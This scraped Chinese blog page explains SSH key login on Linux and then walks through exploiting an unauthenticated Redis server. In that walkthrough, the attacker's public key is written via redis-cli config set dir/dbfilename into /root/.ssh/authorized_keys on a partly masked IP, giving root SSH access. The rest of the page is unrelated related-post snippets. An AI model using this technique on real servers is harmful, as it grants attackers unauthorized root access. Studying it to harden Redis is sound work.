linux远程登录 密钥,使用密钥认证机制远程登录Linux
密鑰認證機制
創建存放key的文件
1)創建目錄 /root/.ssh 并設置權限
[root@localhost ~]# mkdir /root/.ssh mkdir 命令用來創建目錄,以后會詳細介紹,暫時只了解即可。
[root@localhost ~]# chmod 700 /root/.ssh chmod 命令是用來修改文件屬性權限的,以后會詳細介紹。
2)創建文件 / root/.ssh/authorized_keys
[root@localhost ~]# vim /root/.ssh/authorized_keys
生成Key
Xshell-【新建用戶密鑰生成向導】,密鑰類型選擇RSA,密鑰長度選擇2048位,生成密鑰名稱,加密的密碼。
復制生成的公鑰到遠程linux里面 /root/.ssh/authorized_keys 文件中。如果沒有.ssh目錄,就自行建立,并更改目錄權限為700。粘貼公鑰的內容,保存退出。
就可以利用密鑰登錄了
漏洞場景-redis未授權訪問漏洞
1)本地生成秘鑰
root@XXX:~# ssh-keygen -t rsa
2)將公鑰寫入一個文件
root@XXX:~# cd /root/.ssh/
root@XXX:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
3)連接redis寫入文件
root@XXX:~/.ssh# cat foo.txt | redis-cli -h 210.73.90.xxx -x set crackit
OK
root@XXX:~/.ssh# redis-cli -h 210.73.90.xxx
210.73.90.xxx:6379> config set dir /root/.ssh/
OK
(1.39s)
210.73.90.xxx:6379> CONFIG GET dir
1) "dir"
2) "/root/.ssh"
210.73.90.xxx:6379> config set dbfilename "authorized_keys"
OK
(1.03s)
210.73.90.xxx:6379> SAVE
OK
210.73.90.xxx:6379> exit
root@XXX:~/.ssh# ssh
4)連接服務器
root@XXX:~/.ssh# ssh -i id_rsa root@210.73.90.xxx【淺層優化實戰】ssh遠程登錄Linux卡慢的全過程排查及解決方案
ssh遠程登錄Linux卡慢的全過程排查及解決方案 前言: 在linux操作系統使用過程中偶然一次感到使用ssh遠程連接軟件連接操作系統需要等待許久,第一次沒在意,第二次也沒在意,第三次有點忍受不住了 ...
搭建高性能計算環境(二)、遠程登錄Linux服務器
一般操作Linux系統都是通過遠程登錄使用的,本節介紹幾種遠程登錄Linux.上傳下載文件的工具. 1. Secure Shell SSH 簡單方便.既能使用命令行登陸也能傳文件,免費. 打開SSH ...
004遠程登錄Linux系統
通過windows主機遠程登錄Linux主機 前提一:從windows能ping通Linux 前提二:關閉Linux防火墻,運行命令:/etc/init.d/iptables stop (1)使用Pu ...
ssh遠程登錄linux服務器
ssh遠程登錄linux服務器 用法: ssh -l user -p port server_ip 或者 ssh -p port user@server_ip 參數: -l 后接要登錄的遠程系統用戶名 ...
[國嵌筆記][008-009][遠程登錄Linux]
[國嵌筆記][008][遠程登錄Linux] 1.windows與Linux能夠相互ping通 2.關閉Linux防火墻 /etc/init.d/iptables stop 3.通過ssh(字符界面) ...
ZH奶酪:putty遠程登錄Linux服務器非常慢
11.pytty遠程登錄Linux服務器非常慢 http://www.it165.net/os/html/201209/3425.html 12.啟動SSHD服務報錯 http://blog.chin ...
Windows遠程登錄Linux
本文以Ubuntu Kylin1404為例,說明如何通過Windows遠程登錄Linux. 首先,要確保Ubuntu上SSH服務執行正常.默認情況下,Ubuntu已裝有SSHclient.比方輸入ss ...
遠程登錄Linux系統(使用xshell),遠程上傳加載文件(使用Xftp)
一.Xshell(遠程登錄Linux系統) 1.安裝xshell 自己百度找安裝包 2.連接登錄 1.連接前提 需要Linux開啟一個sshd的服務,監聽22號端口,一般默認是開啟的 查看是否開啟: ...
Linux C/C++基礎——Windows遠程登錄Linux
首先介紹兩個ubuntu系統管理命令,用來測試連通性,及獲取IP地址. 1.ping ping命令用來測試遠程主機的連通性 使用方法:ping [參數] 遠程主機IP地址 參數 功能 -a 每次相應時 ...
隨機推薦
I’m Sure It Will Only Take You A Few Days To Code
from:http://danshipper.com/non-technical-people-cant-estimate-developmen “So the site’s pretty simpl ...
hdu 4770(枚舉 + dfs爆搜)
題目鏈接:http://acm.hdu.edu.cn/showproblem.php?pid=4770 思路:由于最多只有15個".",可以直接枚舉放置的位置,然后判斷是否能夠全部 ...
linxu ffmpeg 編譯安裝
1.下載ffmpeg. 下載網址:http://www.ffmpeg.org/download.html 2.解壓縮 tar -zxvf ffmpeg-2.0.1.tar.gz 3.配置,生成Make ...
winform(公共控件)
一.客戶端設計思路 1.理順設計思路,架構框架 2.設計界面 3.編寫后臺代碼 4.數據庫訪問 二.公共控件 1.Button(按鈕): ⑴?Enabled :確定是否啟用控件 ⑵?Visible:確 ...
android Fragments詳解六:處理fragement的生命周期
把條目添加到動作欄 你的fragment們可以向activity的菜單(按Manu鍵時出現的東西)添加項,同時也可向動作欄(界面中頂部的那個區域)添加條目,這都需通過實現方法onCreateOptio ...
Unix環境編程基礎下
Unix出錯處理 當UNIX系統的函數出錯時,通常會返回一個負值.我們判斷函數的返回值小于0表示出錯了,注意我們并不知道為什么出錯.例如我們open一個文件,返回值-1表示打開失敗,但是為什么打開失敗 ...
QT5:C++實現基于Multimedia的音樂播放器(序)
前段時間C++課設,決定做個播放器,于是參考了網上的代碼后,做了個很簡陋的音樂播放器(只寫了MP3格式)出來,雖然功能甚少,但還是決定把過程記錄一下. 成品如下圖: 播放器功能: 上.下一首,音量控制 ...
yolov3 安裝訓練
https://blog.csdn.net/helloworld1213800/article/details/79749359 https://blog.csdn.net/lilai619/arti ...
在 Django/Flask 開發服務器上使用 HTTPS
使用 Django 或 Flask 這種框架開發 web app 的時候一般都會用內建服務器開發和調試程序,等程序完成后再移交到生產環境部署.問題是這些內建服務器通常都不支持 HTTPS,我們想在開發 ...
總結
以上是生活随笔為你收集整理的linux远程登录 密钥,使用密钥认证机制远程登录Linux的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: html/css题库,DIV+CSS题库
- 下一篇: linux某个线程信号唤醒,linux多